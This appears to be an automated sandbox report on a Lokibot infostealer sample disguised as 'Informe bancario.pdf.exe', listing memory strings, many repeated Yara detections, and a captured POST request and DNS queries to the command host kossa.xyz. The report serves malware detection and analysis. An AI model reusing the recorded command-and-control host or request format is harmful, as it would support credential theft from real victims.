Source: Informe bancario.pdf.exe, 00000000.00000002.295243151.0000000006962000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: Informe bancario.pdf.exe, 00000000.00000002.295243151.0000000006962000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers8
Source: Informe bancario.pdf.exe, 00000000.00000002.295243151.0000000006962000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers?
Source: Informe bancario.pdf.exe, 00000000.00000002.295243151.0000000006962000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designersG
Source: Informe bancario.pdf.exe, 00000000.00000002.294664129.0000000005750000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.comce
Source: Informe bancario.pdf.exe, 00000000.00000002.294664129.0000000005750000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.comm
Source: Informe bancario.pdf.exe, 00000000.00000002.295243151.0000000006962000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fonts.com
Source: Informe bancario.pdf.exe, 00000000.00000002.295243151.0000000006962000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.founder.com.cn/cn
Source: Informe bancario.pdf.exe, 00000000.00000002.295243151.0000000006962000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: Informe bancario.pdf.exe, 00000000.00000002.295243151.0000000006962000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: Informe bancario.pdf.exe, 00000000.00000002.295243151.0000000006962000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: Informe bancario.pdf.exe, 00000000.00000002.295243151.0000000006962000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: Informe bancario.pdf.exe, 00000000.00000003.266552640.000000000578E000.00000004.00000800.00020000.00000000.sdmp, Informe bancario.pdf.exe, 00000000.00000003.268164390.000000000578D000.00000004.00000800.00020000.00000000.sdmp, Informe bancario.pdf.exe, 00000000.00000003.267203188.000000000578D000.00000004.00000800.00020000.00000000.sdmp, Informe bancario.pdf.exe, 00000000.00000003.267404179.000000000578D000.00000004.00000800.00020000.00000000.sdmp, Informe bancario.pdf.exe, 00000000.00000003.266370808.000000000578E000.00000004.00000800.00020000.00000000.sdmp, Informe bancario.pdf.exe, 00000000.00000003.268040307.000000000578D000.00000004.00000800.00020000.00000000.sdmp, Informe bancario.pdf.exe, 00000000.00000003.265954001.000000000578E000.00000004.00000800.00020000.00000000.sdmp, Informe bancario.pdf.exe, 00000000.00000003.266622693.000000000578E000.00000004.00000800.00020000.00000000.sdmp, Informe bancario.pdf.exe, 00000000.00000003.265897828.000000000578E000.00000004.00000800.00020000.00000000.sdmp, Informe bancario.pdf.exe, 00000000.00000003.266080343.000000000578E000.00000004.00000800.00020000.00000000.sdmp, Informe bancario.pdf.exe, 00000000.00000003.266290134.000000000578E000.00000004.00000800.00020000.00000000.sdmp, Informe bancario.pdf.exe, 00000000.00000003.266967198.000000000578D000.00000004.00000800.00020000.00000000.sdmp, Informe bancario.pdf.exe, 00000000.00000003.267554490.000000000578D000.00000004.00000800.00020000.00000000.sdmp, Informe bancario.pdf.exe, 00000000.00000003.266128541.000000000578E000.00000004.00000800.00020000.00000000.sdmp, Informe bancario.pdf.exe, 00000000.00000003.267148330.000000000578D000.00000004.00000800.00020000.00000000.sdmp, Informe bancario.pdf.exe, 00000000.00000003.267028927.000000000578D000.00000004.00000800.00020000.00000000.sdmp, Informe bancario.pdf.exe, 00000000.00000003.266471528.000000000578E000.00000004.00000800.00020000.00000000.sdmp, Informe bancario.pdf.exe, 00000000.00000003.267458378.000000000578D000.00000004.00000800.00020000.00000000.sdmp, Informe bancario.pdf.exe, 00000000.00000003.267763841.000000000578D000.00000004.00000800.00020000.00000000.sdmp, Informe bancario.pdf.exe, 00000000.00000003.266216146.000000000578E000.00000004.00000800.00020000.00000000.sdmp, Informe bancario.pdf.exe, 00000000.00000003.267060843.000000000578D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htmG
Source: Informe bancario.pdf.exe, 00000000.00000003.258511329.0000000005756000.00000004.00000800.00020000.00000000.sdmp, Informe bancario.pdf.exe, 00000000.00000002.295243151.0000000006962000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.goodfont.co.kr
Source: Informe bancario.pdf.exe, 00000000.00000003.258511329.0000000005756000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.goodfont.co.krF
Source: Informe bancario.pdf.exe, 00000000.00000003.258511329.0000000005756000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.goodfont.co.krZ
Source: Informe bancario.pdf.exe, Informe bancario.pdf.exe, 00000005.00000000.289365771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Informe bancario.pdf.exe, 00000005.00000002.523674646.0000000000400000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://www.ibsensoftware.com/
Source: Informe bancario.pdf.exe, 00000000.00000003.260884494.0000000005752000.00000004.00000800.00020000.00000000.sdmp, Informe bancario.pdf.exe, 00000000.00000002.295243151.0000000006962000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: Informe bancario.pdf.exe, 00000000.00000003.260884494.0000000005752000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/s
Source: Informe bancario.pdf.exe, 00000000.00000002.295243151.0000000006962000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.sajatypeworks.com
Source: Informe bancario.pdf.exe, 00000000.00000002.295243151.0000000006962000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.sakkal.com
Source: Informe bancario.pdf.exe, 00000000.00000002.295243151.0000000006962000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.sandoll.co.kr
Source: Informe bancario.pdf.exe, 00000000.00000003.258511329.0000000005756000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.sandoll.co.krE
Source: Informe bancario.pdf.exe, 00000000.00000002.295243151.0000000006962000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.tiro.com
Source: Informe bancario.pdf.exe, 00000000.00000003.257122280.000000000576B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.tiro.comU
Source: Informe bancario.pdf.exe, 00000000.00000002.295243151.0000000006962000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.typography.netD
Source: Informe bancario.pdf.exe, 00000000.00000002.295243151.0000000006962000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.urwpp.deDPlease
Source: Informe bancario.pdf.exe, 00000000.00000002.295243151.0000000006962000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.zhongyicts.com.cn
Source: unknown HTTP traffic detected: POST /esi/pp/play.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: kossa.xyzAccept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 690A3530Content-Length: 190Connection: close
Source: unknown DNS traffic detected: queries for: kossa.xyz
Source: C:\Users\user\Desktop\Informe bancario.pdf.exe Code function: 5_2_00404ED4 recv, 5_2_00404ED4
Creates a DirectInput object (often for capturing keystrokes)
Source: Informe bancario.pdf.exe, 00000000.00000002.292050279.0000000000C08000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 0.2.Informe bancario.pdf.exe.39c40c0.8.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 0.2.Informe bancario.pdf.exe.39c40c0.8.raw.unpack, type: UNPACKEDPE Matched rule: Loki Payload Author: kevoreilly
Source: 0.2.Informe bancario.pdf.exe.39c40c0.8.raw.unpack, type: UNPACKEDPE Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.Informe bancario.pdf.exe.39f9f00.10.unpack, type: UNPACKEDPE Matched rule: Loki Payload Author: kevoreilly
Source: 0.2.Informe bancario.pdf.exe.39f9f00.10.unpack, type: UNPACKEDPE Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 5.0.Informe bancario.pdf.exe.400000.12.unpack, type: UNPACKEDPE Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 5.0.Informe bancario.pdf.exe.400000.12.unpack, type: UNPACKEDPE Matched rule: Loki Payload Author: kevoreilly
Source: 5.0.Informe bancario.pdf.exe.400000.12.unpack, type: UNPACKEDPE Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.Informe bancario.pdf.exe.29dc220.5.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 0.2.Informe bancario.pdf.exe.29dc220.5.raw.unpack, type: UNPACKEDPE Matched rule: Loki Payload Author: kevoreilly
Source: 0.2.Informe bancario.pdf.exe.29dc220.5.raw.unpack, type: UNPACKEDPE Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 5.0.Informe bancario.pdf.exe.400000.12.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 5.0.Informe bancario.pdf.exe.400000.12.raw.unpack, type: UNPACKEDPE Matched rule: Loki Payload Author: kevoreilly
Source: 5.0.Informe bancario.pdf.exe.400000.12.raw.unpack, type: UNPACKEDPE Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 5.0.Informe bancario.pdf.exe.400000.8.unpack, type: UNPACKEDPE Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 5.0.Informe bancario.pdf.exe.400000.8.unpack, type: UNPACKEDPE Matched rule: Loki Payload Author: kevoreilly
Source: 5.0.Informe bancario.pdf.exe.400000.8.unpack, type: UNPACKEDPE Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 5.0.Informe bancario.pdf.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 5.0.Informe bancario.pdf.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: Loki Payload Author: kevoreilly
Source: 5.0.Informe bancario.pdf.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.Informe bancario.pdf.exe.39dfee0.9.unpack, type: UNPACKEDPE Matched rule: Loki Payload Author: kevoreilly
Source: 0.2.Informe bancario.pdf.exe.39dfee0.9.unpack, type: UNPACKEDPE Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 5.0.Informe bancario.pdf.exe.400000.14.unpack, type: UNPACKEDPE Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 5.0.Informe bancario.pdf.exe.400000.14.unpack, type: UNPACKEDPE Matched rule: Loki Payload Author: kevoreilly
Source: 5.0.Informe bancario.pdf.exe.400000.14.unpack, type: UNPACKEDPE Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.Informe bancario.pdf.exe.39f9f00.10.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 0.2.Informe bancario.pdf.exe.39f9f00.10.raw.unpack, type: UNPACKEDPE Matched rule: Loki Payload Author: kevoreilly
Source: 0.2.Informe bancario.pdf.exe.39f9f00.10.raw.unpack, type: UNPACKEDPE Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 5.0.Informe bancario.pdf.exe.400000.10.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 5.0.Informe bancario.pdf.exe.400000.10.raw.unpack, type: UNPACKEDPE Matched rule: Loki Payload Author: kevoreilly
Source: 5.0.Informe bancario.pdf.exe.400000.10.raw.unpack, type: UNPACKEDPE Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 5.0.Informe bancario.pdf.exe.400000.8.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 5.0.Informe bancario.pdf.exe.400000.8.raw.unpack, type: UNPACKEDPE Matched rule: Loki Payload Author: kevoreilly
Source: 5.0.Informe bancario.pdf.exe.400000.8.raw.unpack, type: UNPACKEDPE Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 5.2.Informe bancario.pdf.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 5.2.Informe bancario.pdf.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Loki Payload Author: kevoreilly
Source: 5.2.Informe bancario.pdf.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 5.0.Informe bancario.pdf.exe.400000.6.unpack, type: UNPACKEDPE Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 5.0.Informe bancario.pdf.exe.400000.6.unpack, type: UNPACKEDPE Matched rule: Loki Payload Author: kevoreilly
Source: 5.0.Informe bancario.pdf.exe.400000.6.unpack, type: UNPACKEDPE Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.Informe bancario.pdf.exe.29d4fd4.3.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 0.2.Informe bancario.pdf.exe.29d4fd4.3.raw.unpack, type: UNPACKEDPE Matched rule: Loki Payload Author: kevoreilly
Source: 0.2.Informe bancario.pdf.exe.29d4fd4.3.raw.unpack, type: UNPACKEDPE Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 5.0.Informe bancario.pdf.exe.400000.14.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 5.0.Informe bancario.pdf.exe.400000.14.raw.unpack, type: UNPACKEDPE Matched rule: Loki Payload Author: kevoreilly
Source: 5.0.Informe bancario.pdf.exe.400000.14.raw.unpack, type: UNPACKEDPE Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 5.2.Informe bancario.pdf.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 5.2.Informe bancario.pdf.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Loki Payload Author: kevoreilly
Source: 5.2.Informe bancario.pdf.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 5.0.Informe bancario.pdf.exe.400000.10.unpack, type: UNPACKEDPE Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 5.0.Informe bancario.pdf.exe.400000.10.unpack, type: UNPACKEDPE Matched rule: Loki Payload Author: kevoreilly
Source: 5.0.Informe bancario.pdf.exe.400000.10.unpack, type: UNPACKEDPE Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.Informe bancario.pdf.exe.39dfee0.9.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 0.2.Informe bancario.pdf.exe.39dfee0.9.raw.unpack, type: UNPACKEDPE Matched rule: Loki Payload Author: kevoreilly
Source: 0.2.Informe bancario.pdf.exe.39dfee0.9.raw.unpack, type: UNPACKEDPE Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.Informe bancario.pdf.exe.2860464.4.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 0.2.Informe bancario.pdf.exe.2860464.4.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables potentially checking for WinJail sandbox window Author: ditekSHen
Source: 0.2.Informe bancario.pdf.exe.2860464.4.raw.unpack, type: UNPACKEDPE Matched rule: Loki Payload Author: kevoreilly
Source: 0.2.Informe bancario.pdf.exe.2860464.4.raw.unpack, type: UNPACKEDPE Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000000.289365771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 00000005.00000000.289365771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Loki Payload Author: kevoreilly
Source: 00000005.00000000.289365771.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.293340629.00000000039C4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000000.289020067.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 00000005.00000000.289020067.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Loki Payload Author: kevoreilly
Source: 00000005.00000000.289020067.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.523674646.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 00000005.00000002.523674646.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Loki Payload Author: kevoreilly
Source: 00000005.00000002.523674646.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000000.288685837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 00000005.00000000.288685837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Loki Payload Author: kevoreilly
Source: 00000005.00000000.288685837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000000.288344721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 00000005.00000000.288344721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Loki Payload Author: kevoreilly
Source: 00000005.00000000.288344721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.292486343.0000000002858000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.293368296.00000000039F9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Initial sample is a PE file and has a suspicious name
Source: initial sample Static PE information: Filename: Informe bancario.pdf.exe
Uses 32bit PE files
Source: Informe bancario.pdf.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Yara signature match
Source: 0.2.Informe bancario.pdf.exe.39c40c0.8.raw.unpack, type: UNPACKEDPE Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 0.2.Informe bancario.pdf.exe.39c40c0.8.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 0.2.Informe bancario.pdf.exe.39c40c0.8.raw.unpack, type: UNPACKEDPE Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 0.2.Informe bancario.pdf.exe.39c40c0.8.raw.unpack, type: UNPACKEDPE Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.Informe bancario.pdf.exe.39f9f00.10.unpack, type: UNPACKEDPE Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 0.2.Informe bancario.pdf.exe.39f9f00.10.unpack, type: UNPACKEDPE Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 0.2.Informe bancario.pdf.exe.39f9f00.10.unpack, type: UNPACKEDPE Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 5.0.Informe bancario.pdf.exe.400000.12.unpack, type: UNPACKEDPE Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 5.0.Informe bancario.pdf.exe.400000.12.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 5.0.Informe bancario.pdf.exe.400000.12.unpack, type: UNPACKEDPE Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 5.0.Informe bancario.pdf.exe.400000.12.unpack, type: UNPACKEDPE Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.Informe bancario.pdf.exe.29dc220.5.raw.unpack, type: UNPACKEDPE Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 0.2.Informe bancario.pdf.exe.29dc220.5.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 0.2.Informe bancario.pdf.exe.29dc220.5.raw.unpack, type: UNPACKEDPE Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 0.2.Informe bancario.pdf.exe.29dc220.5.raw.unpack, type: UNPACKEDPE Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 5.0.Informe bancario.pdf.exe.400000.12.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 5.0.Informe bancario.pdf.exe.400000.12.raw.unpack, type: UNPACKEDPE Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 5.0.Informe bancario.pdf.exe.400000.12.raw.unpack, type: UNPACKEDPE Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 5.0.Informe bancario.pdf.exe.400000.8.unpack, type: UNPACKEDPE Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 5.0.Informe bancario.pdf.exe.400000.8.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 5.0.Informe bancario.pdf.exe.400000.8.unpack, type: UNPACKEDPE Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 5.0.Informe bancario.pdf.exe.400000.8.unpack, type: UNPACKEDPE Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 5.0.Informe bancario.pdf.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 5.0.Informe bancario.pdf.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 5.0.Informe bancario.pdf.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 5.0.Informe bancario.pdf.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.Informe bancario.pdf.exe.39dfee0.9.unpack, type: UNPACKEDPE Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 0.2.Informe bancario.pdf.exe.39dfee0.9.unpack, type: UNPACKEDPE Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 0.2.Informe bancario.pdf.exe.39dfee0.9.unpack, type: UNPACKEDPE Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 5.0.Informe bancario.pdf.exe.400000.14.unpack, type: UNPACKEDPE Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 5.0.Informe bancario.pdf.exe.400000.14.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 5.0.Informe bancario.pdf.exe.400000.14.unpack, type: UNPACKEDPE Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 5.0.Informe bancario.pdf.exe.400000.14.unpack, type: UNPACKEDPE Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.Informe bancario.pdf.exe.39f9f00.10.raw.unpack, type: UNPACKEDPE Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 0.2.Informe bancario.pdf.exe.39f9f00.10.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 0.2.Informe bancario.pdf.exe.39f9f00.10.raw.unpack, type: UNPACKEDPE Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 0.2.Informe bancario.pdf.exe.39f9f00.10.raw.unpack, type: UNPACKEDPE Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 5.0.Informe bancario.pdf.exe.400000.10.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 5.0.Informe bancario.pdf.exe.400000.10.raw.unpack, type: UNPACKEDPE Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 5.0.Informe bancario.pdf.exe.400000.10.raw.unpack, type: UNPACKEDPE Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 5.0.Informe bancario.pdf.exe.400000.8.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
